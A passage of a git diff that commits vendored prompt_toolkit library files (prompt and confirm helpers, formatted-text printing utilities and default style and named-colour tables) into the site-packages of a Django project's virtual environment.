auto_suggest + if validator is not None: + self.validator = validator + if clipboard is not None: + self.clipboard = clipboard + if mouse_support is not None: + self.mouse_support = mouse_support + if input_processors is not None: + self.input_processors = input_processors + if placeholder is not None: + self.placeholder = placeholder + if reserve_space_for_menu is not None: + self.reserve_space_for_menu = reserve_space_for_menu + if enable_system_prompt is not None: + self.enable_system_prompt = enable_system_prompt + if enable_suspend is not None: + self.enable_suspend = enable_suspend + if enable_open_in_editor is not None: + self.enable_open_in_editor = enable_open_in_editor + if tempfile_suffix is not None: + self.tempfile_suffix = tempfile_suffix + if tempfile is not None: + self.tempfile = tempfile + + self._add_pre_run_callables(pre_run, accept_default) + self.default_buffer.reset( + default if isinstance(default, Document) else Document(default) + ) + self.app.refresh_interval = self.refresh_interval # This is not reactive. + + # If we are using the default output, and have a dumb terminal. Use the + # dumb prompt. + if self._output is None and is_dumb_terminal(): + with self._dumb_prompt(self.message) as dump_app: + return await dump_app.run_async(handle_sigint=handle_sigint) + + return await self.app.run_async( + set_exception_handler=set_exception_handler, handle_sigint=handle_sigint + ) + + def _add_pre_run_callables( + self, pre_run: Optional[Callable[[], None]], accept_default: bool + ) -> None: + def pre_run2() -> None: + if pre_run: + pre_run() + + if accept_default: + # Validate and handle input. We use `call_from_executor` in + # order to run it "soon" (during the next iteration of the + # event loop), instead of right now. Otherwise, it won't + # display the default value. + get_event_loop().call_soon(self.default_buffer.validate_and_handle) + + self.app.pre_run_callables.append(pre_run2) + + @property + def editing_mode(self) -> EditingMode: + return self.app.editing_mode + + @editing_mode.setter + def editing_mode(self, value: EditingMode) -> None: + self.app.editing_mode = value + + def _get_default_buffer_control_height(self) -> Dimension: + # If there is an autocompletion menu to be shown, make sure that our + # layout has at least a minimal height in order to display it. + if ( + self.completer is not None + and self.complete_style != CompleteStyle.READLINE_LIKE + ): + space = self.reserve_space_for_menu + else: + space = 0 + + if space and not get_app().is_done: + buff = self.default_buffer + + # Reserve the space, either when there are completions, or when + # `complete_while_typing` is true and we expect completions very + # soon. + if buff.complete_while_typing() or buff.complete_state is not None: + return Dimension(min=space) + + return Dimension() + + def _get_prompt(self) -> StyleAndTextTuples: + return to_formatted_text(self.message, style="class:prompt") + + def _get_continuation( + self, width: int, line_number: int, wrap_count: int + ) -> StyleAndTextTuples: + """ + Insert the prompt continuation. + + :param width: The width that was used for the prompt. (more or less can + be used.) + :param line_number: + :param wrap_count: Amount of times that the line has been wrapped. + """ + prompt_continuation = self.prompt_continuation + + if callable(prompt_continuation): + continuation: AnyFormattedText = prompt_continuation( + width, line_number, wrap_count + ) + else: + continuation = prompt_continuation + + # When the continuation prompt is not given, choose the same width as + # the actual prompt. + if continuation is None and is_true(self.multiline): + continuation = " " * width + + return to_formatted_text(continuation, style="class:prompt-continuation") + + def _get_line_prefix( + self, + line_number: int, + wrap_count: int, + get_prompt_text_2: _StyleAndTextTuplesCallable, + ) -> StyleAndTextTuples: + """ + Return whatever needs to be inserted before every line. + (the prompt, or a line continuation.) + """ + # First line: display the "arg" or the prompt. + if line_number == 0 and wrap_count == 0: + if not is_true(self.multiline) and get_app().key_processor.arg is not None: + return self._inline_arg() + else: + return get_prompt_text_2() + + # For the next lines, display the appropriate continuation. + prompt_width = get_cwidth(fragment_list_to_text(get_prompt_text_2())) + return self._get_continuation(prompt_width, line_number, wrap_count) + + def _get_arg_text(self) -> StyleAndTextTuples: + "'arg' toolbar, for in multiline mode." + arg = self.app.key_processor.arg + if arg is None: + # Should not happen because of the `has_arg` filter in the layout. + return [] + + if arg == "-": + arg = "-1" + + return [("class:arg-toolbar", "Repeat: "), ("class:arg-toolbar.text", arg)] + + def _inline_arg(self) -> StyleAndTextTuples: + "'arg' prefix, for in single line mode." + app = get_app() + if app.key_processor.arg is None: + return [] + else: + arg = app.key_processor.arg + + return [ + ("class:prompt.arg", "(arg: "), + ("class:prompt.arg.text", str(arg)), + ("class:prompt.arg", ") "), + ] + + # Expose the Input and Output objects as attributes, mainly for + # backward-compatibility. + + @property + def input(self) -> Input: + return self.app.input + + @property + def output(self) -> Output: + return self.app.output + + +def prompt( + message: Optional[AnyFormattedText] = None, + *, + history: Optional[History] = None, + editing_mode: Optional[EditingMode] = None, + refresh_interval: Optional[float] = None, + vi_mode: Optional[bool] = None, + lexer: Optional[Lexer] = None, + completer: Optional[Completer] = None, + complete_in_thread: Optional[bool] = None, + is_password: Optional[bool] = None, + key_bindings: Optional[KeyBindingsBase] = None, + bottom_toolbar: Optional[AnyFormattedText] = None, + style: Optional[BaseStyle] = None, + color_depth: Optional[ColorDepth] = None, + cursor: AnyCursorShapeConfig = None, + include_default_pygments_style: Optional[FilterOrBool] = None, + style_transformation: Optional[StyleTransformation] = None, + swap_light_and_dark_colors: Optional[FilterOrBool] = None, + rprompt: Optional[AnyFormattedText] = None, + multiline: Optional[FilterOrBool] = None, + prompt_continuation: Optional[PromptContinuationText] = None, + wrap_lines: Optional[FilterOrBool] = None, + enable_history_search: Optional[FilterOrBool] = None, + search_ignore_case: Optional[FilterOrBool] = None, + complete_while_typing: Optional[FilterOrBool] = None, + validate_while_typing: Optional[FilterOrBool] = None, + complete_style: Optional[CompleteStyle] = None, + auto_suggest: Optional[AutoSuggest] = None, + validator: Optional[Validator] = None, + clipboard: Optional[Clipboard] = None, + mouse_support: Optional[FilterOrBool] = None, + input_processors: Optional[List[Processor]] = None, + placeholder: Optional[AnyFormattedText] = None, + reserve_space_for_menu: Optional[int] = None, + enable_system_prompt: Optional[FilterOrBool] = None, + enable_suspend: Optional[FilterOrBool] = None, + enable_open_in_editor: Optional[FilterOrBool] = None, + tempfile_suffix: Optional[Union[str, Callable[[], str]]] = None, + tempfile: Optional[Union[str, Callable[[], str]]] = None, + # Following arguments are specific to the current `prompt()` call. + default: str = "", + accept_default: bool = False, + pre_run: Optional[Callable[[], None]] = None, +) -> str: + """ + The global `prompt` function. This will create a new `PromptSession` + instance for every call. + """ + # The history is the only attribute that has to be passed to the + # `PromptSession`, it can't be passed into the `prompt()` method. + session: PromptSession[str] = PromptSession(history=history) + + return session.prompt( + message, + editing_mode=editing_mode, + refresh_interval=refresh_interval, + vi_mode=vi_mode, + lexer=lexer, + completer=completer, + complete_in_thread=complete_in_thread, + is_password=is_password, + key_bindings=key_bindings, + bottom_toolbar=bottom_toolbar, + style=style, + color_depth=color_depth, + cursor=cursor, + include_default_pygments_style=include_default_pygments_style, + style_transformation=style_transformation, + swap_light_and_dark_colors=swap_light_and_dark_colors, + rprompt=rprompt, + multiline=multiline, + prompt_continuation=prompt_continuation, + wrap_lines=wrap_lines, + enable_history_search=enable_history_search, + search_ignore_case=search_ignore_case, + complete_while_typing=complete_while_typing, + validate_while_typing=validate_while_typing, + complete_style=complete_style, + auto_suggest=auto_suggest, + validator=validator, + clipboard=clipboard, + mouse_support=mouse_support, + input_processors=input_processors, + placeholder=placeholder, + reserve_space_for_menu=reserve_space_for_menu, + enable_system_prompt=enable_system_prompt, + enable_suspend=enable_suspend, + enable_open_in_editor=enable_open_in_editor, + tempfile_suffix=tempfile_suffix, + tempfile=tempfile, + default=default, + accept_default=accept_default, + pre_run=pre_run, + ) + + +prompt.__doc__ = PromptSession.prompt.__doc__ + + +def create_confirm_session( + message: str, suffix: str = " (y/n) " +) -> PromptSession[bool]: + """ + Create a `PromptSession` object for the 'confirm' function. + """ + bindings = KeyBindings() + + @bindings.add("y") + @bindings.add("Y") + def yes(event: E) -> None: + session.default_buffer.text = "y" + event.app.exit(result=True) + + @bindings.add("n") + @bindings.add("N") + def no(event: E) -> None: + session.default_buffer.text = "n" + event.app.exit(result=False) + + @bindings.add(Keys.Any) + def _(event: E) -> None: + "Disallow inserting other text." + pass + + complete_message = merge_formatted_text([message, suffix]) + session: PromptSession[bool] = PromptSession( + complete_message, key_bindings=bindings + ) + return session + + +def confirm(message: str = "Confirm?", suffix: str = " (y/n) ") -> bool: + """ + Display a confirmation prompt that returns True/False. + """ + session = create_confirm_session(message, suffix) + return session.prompt() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/utils.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/utils.py new file mode 100644 index 00000000..a628f4b6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/utils.py @@ -0,0 +1,238 @@ +from asyncio.events import AbstractEventLoop +from typing import TYPE_CHECKING, Any, Optional, TextIO + +from prompt_toolkit.application import Application +from prompt_toolkit.application.current import get_app_or_none, get_app_session +from prompt_toolkit.application.run_in_terminal import run_in_terminal +from prompt_toolkit.eventloop import get_event_loop +from prompt_toolkit.formatted_text import ( + FormattedText, + StyleAndTextTuples, + to_formatted_text, +) +from prompt_toolkit.input import DummyInput +from prompt_toolkit.layout import Layout +from prompt_toolkit.output import ColorDepth, Output +from prompt_toolkit.output.defaults import create_output +from prompt_toolkit.renderer import ( + print_formatted_text as renderer_print_formatted_text, +) +from prompt_toolkit.styles import ( + BaseStyle, + StyleTransformation, + default_pygments_style, + default_ui_style, + merge_styles, +) + +if TYPE_CHECKING: + from prompt_toolkit.layout.containers import AnyContainer + +__all__ = [ + "print_formatted_text", + "print_container", + "clear", + "set_title", + "clear_title", +] + + +def print_formatted_text( + *values: Any, + sep: str = " ", + end: str = "\n", + file: Optional[TextIO] = None, + flush: bool = False, + style: Optional[BaseStyle] = None, + output: Optional[Output] = None, + color_depth: Optional[ColorDepth] = None, + style_transformation: Optional[StyleTransformation] = None, + include_default_pygments_style: bool = True, +) -> None: + """ + :: + + print_formatted_text(*values, sep=' ', end='\\n', file=None, flush=False, style=None, output=None) + + Print text to stdout. This is supposed to be compatible with Python's print + function, but supports printing of formatted text. You can pass a + :class:`~prompt_toolkit.formatted_text.FormattedText`, + :class:`~prompt_toolkit.formatted_text.HTML` or + :class:`~prompt_toolkit.formatted_text.ANSI` object to print formatted + text. + + * Print HTML as follows:: + + print_formatted_text(HTML('Some italic text This is red!')) + + style = Style.from_dict({ + 'hello': '#ff0066', + 'world': '#884444 italic', + }) + print_formatted_text(HTML('Hello world!'), style=style) + + * Print a list of (style_str, text) tuples in the given style to the + output. E.g.:: + + style = Style.from_dict({ + 'hello': '#ff0066', + 'world': '#884444 italic', + }) + fragments = FormattedText([ + ('class:hello', 'Hello'), + ('class:world', 'World'), + ]) + print_formatted_text(fragments, style=style) + + If you want to print a list of Pygments tokens, wrap it in + :class:`~prompt_toolkit.formatted_text.PygmentsTokens` to do the + conversion. + + If a prompt_toolkit `Application` is currently running, this will always + print above the application or prompt (similar to `patch_stdout`). So, + `print_formatted_text` will erase the current application, print the text, + and render the application again. + + :param values: Any kind of printable object, or formatted string. + :param sep: String inserted between values, default a space. + :param end: String appended after the last value, default a newline. + :param style: :class:`.Style` instance for the color scheme. + :param include_default_pygments_style: `bool`. Include the default Pygments + style when set to `True` (the default). + """ + assert not (output and file) + + # Create Output object. + if output is None: + if file: + output = create_output(stdout=file) + else: + output = get_app_session().output + + assert isinstance(output, Output) + + # Get color depth. + color_depth = color_depth or output.get_default_color_depth() + + # Merges values. + def to_text(val: Any) -> StyleAndTextTuples: + # Normal lists which are not instances of `FormattedText` are + # considered plain text. + if isinstance(val, list) and not isinstance(val, FormattedText): + return to_formatted_text(f"{val}") + return to_formatted_text(val, auto_convert=True) + + fragments = [] + for i, value in enumerate(values): + fragments.extend(to_text(value)) + + if sep and i != len(values) - 1: + fragments.extend(to_text(sep)) + + fragments.extend(to_text(end)) + + # Print output. + def render() -> None: + assert isinstance(output, Output) + + renderer_print_formatted_text( + output, + fragments, + _create_merged_style( + style, include_default_pygments_style=include_default_pygments_style + ), + color_depth=color_depth, + style_transformation=style_transformation, + ) + + # Flush the output stream. + if flush: + output.flush() + + # If an application is running, print above the app. This does not require + # `patch_stdout`. + loop: Optional[AbstractEventLoop] = None + + app = get_app_or_none() + if app is not None: + loop = app.loop + + if loop is not None: + loop.call_soon_threadsafe(lambda: run_in_terminal(render)) + else: + render() + + +def print_container( + container: "AnyContainer", + file: Optional[TextIO] = None, + style: Optional[BaseStyle] = None, + include_default_pygments_style: bool = True, +) -> None: + """ + Print any layout to the output in a non-interactive way. + + Example usage:: + + from prompt_toolkit.widgets import Frame, TextArea + print_container( + Frame(TextArea(text='Hello world!'))) + """ + if file: + output = create_output(stdout=file) + else: + output = get_app_session().output + + app: Application[None] = Application( + layout=Layout(container=container), + output=output, + # `DummyInput` will cause the application to terminate immediately. + input=DummyInput(), + style=_create_merged_style( + style, include_default_pygments_style=include_default_pygments_style + ), + ) + try: + app.run(in_thread=True) + except EOFError: + pass + + +def _create_merged_style( + style: Optional[BaseStyle], include_default_pygments_style: bool +) -> BaseStyle: + """ + Merge user defined style with built-in style. + """ + styles = [default_ui_style()] + if include_default_pygments_style: + styles.append(default_pygments_style()) + if style: + styles.append(style) + + return merge_styles(styles) + + +def clear() -> None: + """ + Clear the screen. + """ + output = get_app_session().output + output.erase_screen() + output.cursor_goto(0, 0) + output.flush() + + +def set_title(text: str) -> None: + """ + Set the terminal title. + """ + output = get_app_session().output + output.set_title(text) + + +def clear_title() -> None: + """ + Erase the current title. + """ + set_title("") diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/__init__.py new file mode 100644 index 00000000..c270ae01 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/__init__.py @@ -0,0 +1,64 @@ +""" +Styling for prompt_toolkit applications. +""" +from .base import ( + ANSI_COLOR_NAMES, + DEFAULT_ATTRS, + Attrs, + BaseStyle, + DummyStyle, + DynamicStyle, +) +from .defaults import default_pygments_style, default_ui_style +from .named_colors import NAMED_COLORS +from .pygments import ( + pygments_token_to_classname, + style_from_pygments_cls, + style_from_pygments_dict, +) +from .style import Priority, Style, merge_styles, parse_color +from .style_transformation import ( + AdjustBrightnessStyleTransformation, + ConditionalStyleTransformation, + DummyStyleTransformation, + DynamicStyleTransformation, + ReverseStyleTransformation, + SetDefaultColorStyleTransformation, + StyleTransformation, + SwapLightAndDarkStyleTransformation, + merge_style_transformations, +) + +__all__ = [ + # Base. + "Attrs", + "DEFAULT_ATTRS", + "ANSI_COLOR_NAMES", + "BaseStyle", + "DummyStyle", + "DynamicStyle", + # Defaults. + "default_ui_style", + "default_pygments_style", + # Style. + "Style", + "Priority", + "merge_styles", + "parse_color", + # Style transformation. + "StyleTransformation", + "SwapLightAndDarkStyleTransformation", + "ReverseStyleTransformation", + "SetDefaultColorStyleTransformation", + "AdjustBrightnessStyleTransformation", + "DummyStyleTransformation", + "ConditionalStyleTransformation", + "DynamicStyleTransformation", + "merge_style_transformations", + # Pygments. + "style_from_pygments_cls", + "style_from_pygments_dict", + "pygments_token_to_classname", + # Named colors. + "NAMED_COLORS", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/base.py new file mode 100644 index 00000000..aa77b9ad --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/base.py @@ -0,0 +1,181 @@ +""" +The base classes for the styling. +""" +from abc import ABCMeta, abstractmethod, abstractproperty +from typing import Callable, Dict, Hashable, List, NamedTuple, Optional, Tuple + +__all__ = [ + "Attrs", + "DEFAULT_ATTRS", + "ANSI_COLOR_NAMES", + "ANSI_COLOR_NAMES_ALIASES", + "BaseStyle", + "DummyStyle", + "DynamicStyle", +] + + +#: Style attributes. +class Attrs(NamedTuple): + color: Optional[str] + bgcolor: Optional[str] + bold: Optional[bool] + underline: Optional[bool] + strike: Optional[bool] + italic: Optional[bool] + blink: Optional[bool] + reverse: Optional[bool] + hidden: Optional[bool] + + +""" +:param color: Hexadecimal string. E.g. '000000' or Ansi color name: e.g. 'ansiblue' +:param bgcolor: Hexadecimal string. E.g. 'ffffff' or Ansi color name: e.g. 'ansired' +:param bold: Boolean +:param underline: Boolean +:param strike: Boolean +:param italic: Boolean +:param blink: Boolean +:param reverse: Boolean +:param hidden: Boolean +""" + +#: The default `Attrs`. +DEFAULT_ATTRS = Attrs( + color="", + bgcolor="", + bold=False, + underline=False, + strike=False, + italic=False, + blink=False, + reverse=False, + hidden=False, +) + + +#: ``Attrs.bgcolor/fgcolor`` can be in either 'ffffff' format, or can be any of +#: the following in case we want to take colors from the 8/16 color palette. +#: Usually, in that case, the terminal application allows to configure the RGB +#: values for these names. +#: ISO 6429 colors +ANSI_COLOR_NAMES = [ + "ansidefault", + # Low intensity, dark. (One or two components 0x80, the other 0x00.) + "ansiblack", + "ansired", + "ansigreen", + "ansiyellow", + "ansiblue", + "ansimagenta", + "ansicyan", + "ansigray", + # High intensity, bright. (One or two components 0xff, the other 0x00. Not supported everywhere.) + "ansibrightblack", + "ansibrightred", + "ansibrightgreen", + "ansibrightyellow", + "ansibrightblue", + "ansibrightmagenta", + "ansibrightcyan", + "ansiwhite", +] + + +# People don't use the same ANSI color names everywhere. In prompt_toolkit 1.0 +# we used some unconventional names (which were contributed like that to +# Pygments). This is fixed now, but we still support the old names. + +# The table below maps the old aliases to the current names. +ANSI_COLOR_NAMES_ALIASES: Dict[str, str] = { + "ansidarkgray": "ansibrightblack", + "ansiteal": "ansicyan", + "ansiturquoise": "ansibrightcyan", + "ansibrown": "ansiyellow", + "ansipurple": "ansimagenta", + "ansifuchsia": "ansibrightmagenta", + "ansilightgray": "ansigray", + "ansidarkred": "ansired", + "ansidarkgreen": "ansigreen", + "ansidarkblue": "ansiblue", +} +assert set(ANSI_COLOR_NAMES_ALIASES.values()).issubset(set(ANSI_COLOR_NAMES)) +assert not (set(ANSI_COLOR_NAMES_ALIASES.keys()) & set(ANSI_COLOR_NAMES)) + + +class BaseStyle(metaclass=ABCMeta): + """ + Abstract base class for prompt_toolkit styles. + """ + + @abstractmethod + def get_attrs_for_style_str( + self, style_str: str, default: Attrs = DEFAULT_ATTRS + ) -> Attrs: + """ + Return :class:`.Attrs` for the given style string. + + :param style_str: The style string. This can contain inline styling as + well as classnames (e.g. "class:title"). + :param default: `Attrs` to be used if no styling was defined. + """ + + @abstractproperty + def style_rules(self) -> List[Tuple[str, str]]: + """ + The list of style rules, used to create this style. + (Required for `DynamicStyle` and `_MergedStyle` to work.) + """ + return [] + + @abstractmethod + def invalidation_hash(self) -> Hashable: + """ + Invalidation hash for the style. When this changes over time, the + renderer knows that something in the style changed, and that everything + has to be redrawn. + """ + + +class DummyStyle(BaseStyle): + """ + A style that doesn't style anything. + """ + + def get_attrs_for_style_str( + self, style_str: str, default: Attrs = DEFAULT_ATTRS + ) -> Attrs: + return default + + def invalidation_hash(self) -> Hashable: + return 1 # Always the same value. + + @property + def style_rules(self) -> List[Tuple[str, str]]: + return [] + + +class DynamicStyle(BaseStyle): + """ + Style class that can dynamically returns an other Style. + + :param get_style: Callable that returns a :class:`.Style` instance. + """ + + def __init__(self, get_style: Callable[[], Optional[BaseStyle]]): + self.get_style = get_style + self._dummy = DummyStyle() + + def get_attrs_for_style_str( + self, style_str: str, default: Attrs = DEFAULT_ATTRS + ) -> Attrs: + style = self.get_style() or self._dummy + + return style.get_attrs_for_style_str(style_str, default) + + def invalidation_hash(self) -> Hashable: + return (self.get_style() or self._dummy).invalidation_hash() + + @property + def style_rules(self) -> List[Tuple[str, str]]: + return (self.get_style() or self._dummy).style_rules diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/defaults.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/defaults.py new file mode 100644 index 00000000..4ac55456 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/defaults.py @@ -0,0 +1,231 @@ +""" +The default styling. +""" +from prompt_toolkit.cache import memoized + +from .base import ANSI_COLOR_NAMES, BaseStyle +from .named_colors import NAMED_COLORS +from .style import Style, merge_styles + +__all__ = [ + "default_ui_style", + "default_pygments_style", +] + +#: Default styling. Mapping from classnames to their style definition. +PROMPT_TOOLKIT_STYLE = [ + # Highlighting of search matches in document. + ("search", "bg:ansibrightyellow ansiblack"), + ("search.current", ""), + # Incremental search. + ("incsearch", ""), + ("incsearch.current", "reverse"), + # Highlighting of select text in document. + ("selected", "reverse"), + ("cursor-column", "bg:#dddddd"), + ("cursor-line", "underline"), + ("color-column", "bg:#ccaacc"), + # Highlighting of matching brackets. + ("matching-bracket", ""), + ("matching-bracket.other", "#000000 bg:#aacccc"), + ("matching-bracket.cursor", "#ff8888 bg:#880000"), + # Styling of other cursors, in case of block editing. + ("multiple-cursors", "#000000 bg:#ccccaa"), + # Line numbers. + ("line-number", "#888888"), + ("line-number.current", "bold"), + ("tilde", "#8888ff"), + # Default prompt. + ("prompt", ""), + ("prompt.arg", "noinherit"), + ("prompt.arg.text", ""), + ("prompt.search", "noinherit"), + ("prompt.search.text", ""), + # Search toolbar. + ("search-toolbar", "bold"), + ("search-toolbar.text", "nobold"), + # System toolbar + ("system-toolbar", "bold"), + ("system-toolbar.text", "nobold"), + # "arg" toolbar. + ("arg-toolbar", "bold"), + ("arg-toolbar.text", "nobold"), + # Validation toolbar. + ("validation-toolbar", "bg:#550000 #ffffff"), + ("window-too-small", "bg:#550000 #ffffff"), + # Completions toolbar. + ("completion-toolbar", "bg:#bbbbbb #000000"), + ("completion-toolbar.arrow", "bg:#bbbbbb #000000 bold"), + ("completion-toolbar.completion", "bg:#bbbbbb #000000"), + ("completion-toolbar.completion.current", "bg:#444444 #ffffff"), + # Completions menu. + ("completion-menu", "bg:#bbbbbb #000000"), + ("completion-menu.completion", ""), + ("completion-menu.completion.current", "bg:#888888 #ffffff"), + ("completion-menu.meta.completion", "bg:#999999 #000000"), + ("completion-menu.meta.completion.current", "bg:#aaaaaa #000000"), + ("completion-menu.multi-column-meta", "bg:#aaaaaa #000000"), + # Fuzzy matches in completion menu (for FuzzyCompleter). + ("completion-menu.completion fuzzymatch.outside", "fg:#444444"), + ("completion-menu.completion fuzzymatch.inside", "bold"), + ("completion-menu.completion fuzzymatch.inside.character", "underline"), + ("completion-menu.completion.current fuzzymatch.outside", "fg:default"), + ("completion-menu.completion.current fuzzymatch.inside", "nobold"), + # Styling of readline-like completions. + ("readline-like-completions", ""), + ("readline-like-completions.completion", ""), + ("readline-like-completions.completion fuzzymatch.outside", "#888888"), + ("readline-like-completions.completion fuzzymatch.inside", ""), + ("readline-like-completions.completion fuzzymatch.inside.character", "underline"), + # Scrollbars. + ("scrollbar.background", "bg:#aaaaaa"), + ("scrollbar.button", "bg:#444444"), + ("scrollbar.arrow", "noinherit bold"), + # Start/end of scrollbars. Adding 'underline' here provides a nice little + # detail to the progress bar, but it doesn't look good on all terminals. + # ('scrollbar.start', 'underline #ffffff'), + # ('scrollbar.end', 'underline #000000'), + # Auto suggestion text. + ("auto-suggestion", "#666666"), + # Trailing whitespace and tabs. + ("trailing-whitespace", "#999999"), + ("tab", "#999999"), + # When Control-C/D has been pressed. Grayed. + ("aborting", "#888888 bg:default noreverse noitalic nounderline noblink"), + ("exiting", "#888888 bg:default noreverse noitalic nounderline noblink"), + # Entering a Vi digraph. + ("digraph", "#4444ff"), + # Control characters, like ^C, ^X. + ("control-character", "ansiblue"), + # Non-breaking space. + ("nbsp", "underline ansiyellow"), + # Default styling of HTML elements. + ("i", "italic"), + ("u", "underline"), + ("s", "strike"), + ("b", "bold"), + ("em", "italic"), + ("strong", "bold"), + ("del", "strike"), + ("hidden", "hidden"), + # It should be possible to use the style names in HTML. + # ... or .... + ("italic", "italic"), + ("underline", "underline"), + ("strike", "strike"), + ("bold", "bold"), + ("reverse", "reverse"), + ("noitalic", "noitalic"), + ("nounderline", "nounderline"), + ("nostrike", "nostrike"), + ("nobold", "nobold"), + ("noreverse", "noreverse"), + # Prompt bottom toolbar + ("bottom-toolbar", "reverse"), +] + + +# Style that will turn for instance the class 'red' into 'red'. +COLORS_STYLE = [(name, "fg:" + name) for name in ANSI_COLOR_NAMES] + [ + (name.lower(), "fg:" + name) for name in NAMED_COLORS +] + + +WIDGETS_STYLE = [ + # Dialog windows. + ("dialog", "bg:#4444ff"), + ("dialog.body", "bg:#ffffff #000000"), + ("dialog.body text-area", "bg:#cccccc"), + ("dialog.body text-area last-line", "underline"), + ("dialog frame.label", "#ff0000 bold"), + # Scrollbars in dialogs. + ("dialog.body scrollbar.background", ""), + ("dialog.body scrollbar.button", "bg:#000000"), + ("dialog.body scrollbar.arrow", ""), + ("dialog.body scrollbar.start", "nounderline"), + ("dialog.body scrollbar.end", "nounderline"), + # Buttons. + ("button", ""), + ("button.arrow", "bold"), + ("button.focused", "bg:#aa0000 #ffffff"), + # Menu bars. + ("menu-bar", "bg:#aaaaaa #000000"), + ("menu-bar.selected-item", "bg:#ffffff #000000"), + ("menu", "bg:#888888 #ffffff"), + ("menu.border", "#aaaaaa"), + ("menu.border shadow", "#444444"), + # Shadows. + ("dialog shadow", "bg:#000088"), + ("dialog.body shadow", "bg:#aaaaaa"), + ("progress-bar", "bg:#000088"), + ("progress-bar.used", "bg:#ff0000"), +] + + +# The default Pygments style, include this by default in case a Pygments lexer +# is used. +PYGMENTS_DEFAULT_STYLE = { + "pygments.whitespace": "#bbbbbb", + "pygments.comment": "italic #408080", + "pygments.comment.preproc": "noitalic #bc7a00", + "pygments.keyword": "bold #008000", + "pygments.keyword.pseudo": "nobold", + "pygments.keyword.type": "nobold #b00040", + "pygments.operator": "#666666", + "pygments.operator.word": "bold #aa22ff", + "pygments.name.builtin": "#008000", + "pygments.name.function": "#0000ff", + "pygments.name.class": "bold #0000ff", + "pygments.name.namespace": "bold #0000ff", + "pygments.name.exception": "bold #d2413a", + "pygments.name.variable": "#19177c", + "pygments.name.constant": "#880000", + "pygments.name.label": "#a0a000", + "pygments.name.entity": "bold #999999", + "pygments.name.attribute": "#7d9029", + "pygments.name.tag": "bold #008000", + "pygments.name.decorator": "#aa22ff", + # Note: In Pygments, Token.String is an alias for Token.Literal.String, + # and Token.Number as an alias for Token.Literal.Number. + "pygments.literal.string": "#ba2121", + "pygments.literal.string.doc": "italic", + "pygments.literal.string.interpol": "bold #bb6688", + "pygments.literal.string.escape": "bold #bb6622", + "pygments.literal.string.regex": "#bb6688", + "pygments.literal.string.symbol": "#19177c", + "pygments.literal.string.other": "#008000", + "pygments.literal.number": "#666666", + "pygments.generic.heading": "bold #000080", + "pygments.generic.subheading": "bold #800080", + "pygments.generic.deleted": "#a00000", + "pygments.generic.inserted": "#00a000", + "pygments.generic.error": "#ff0000", + "pygments.generic.emph": "italic", + "pygments.generic.strong": "bold", + "pygments.generic.prompt": "bold #000080", + "pygments.generic.output": "#888", + "pygments.generic.traceback": "#04d", + "pygments.error": "border:#ff0000", +} + + +@memoized() +def default_ui_style() -> BaseStyle: + """ + Create a default `Style` object. + """ + return merge_styles( + [ + Style(PROMPT_TOOLKIT_STYLE), + Style(COLORS_STYLE), + Style(WIDGETS_STYLE), + ] + ) + + +@memoized() +def default_pygments_style() -> Style: + """ + Create a `Style` object that contains the default Pygments style. + """ + return Style.from_dict(PYGMENTS_DEFAULT_STYLE) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/named_colors.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/named_colors.py new file mode 100644 index 00000000..37bd6de4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/styles/named_colors.py @@ -0,0 +1,161 @@ +""" +All modern web browsers support these 140 color names. +Taken from: https://www.w3schools.com/colors/colors_names.asp +""" +from typing import Dict + +__all__ = [ + "NAMED_COLORS", +] + + +NAMED_COLORS: Dict[str, str] = { + "AliceBlue": "#f0f8ff", + "AntiqueWhite": "#faebd7", + "Aqua": "#00ffff", + "Aquamarine": "#7fffd4", + "Azure": "#f0ffff", + "Beige": "#f5f5dc", + "Bisque": "#ffe4c4", + "Black": "#000000", + "BlanchedAlmond": "#ffebcd", + "Blue": "#0000ff", + "BlueViolet": "#8a2be2", + "Brown": "#a52a2a", + "BurlyWood": "#deb887", + "CadetBlue": "#5f9ea0", + "Chartreuse": "#7fff00", + "Chocolate": "#d2691e", + "Coral": "#ff7f50", + "CornflowerBlue": "#6495ed", + "Cornsilk": "#fff8dc", + "Crimson": "#dc143c", + "Cyan": "#00ffff", + "DarkBlue": "#00008b", + "DarkCyan": "#008b8b", + "DarkGoldenRod": "#b8860b", + "DarkGray": "#a9a9a9", + "DarkGreen": "#006400", + "DarkGrey": "#a9a9a9", + "DarkKhaki": "#bdb76b", + "DarkMagenta": "#8b008b", + "DarkOliveGreen": "#556b2f", + "DarkOrange": "#ff8c00", + "DarkOrchid": "#9932cc", + "DarkRed": "#8b0000", + "DarkSalmon": "#e9967a", + "DarkSeaGreen": "#8fbc8f", + "DarkSlateBlue": "#483d8b", + "DarkSlateGray": "#2f4f4f", + "DarkSlateGrey": "#2f4f4f", + "DarkTurquoise": "#00ced1", + "DarkViolet": "#9400d3", + "DeepPink": "#ff1493", + "DeepSkyBlue": "#00bfff", + "DimGray": "#696969", + "DimGrey": "#696969", + "DodgerBlue": "#1e90ff", + "FireBrick": "#b22222", + "FloralWhite": "#fffaf0", + "ForestGreen": "#228b22", + "Fuchsia": "#ff00ff", + "Gainsboro": "#dcdcdc", + "GhostWhite": "#f8f8ff", + "Gold": "#ffd700", + "GoldenRod": "#daa520", + "Gray": "#808080", + "Green": "#008000", + "GreenYellow": "#adff2f", + "Grey": "#808080", + "HoneyDew": "#f0fff0", + "HotPink": "#ff69b4", + "IndianRed": "#cd5c5c", + "Indigo": "#4b0082", + "Ivory": "#fffff0", + "Khaki": "#f0e68c", + "Lavender": "#e6e6fa", + "LavenderBlush": "#fff0f5", + "LawnGreen": 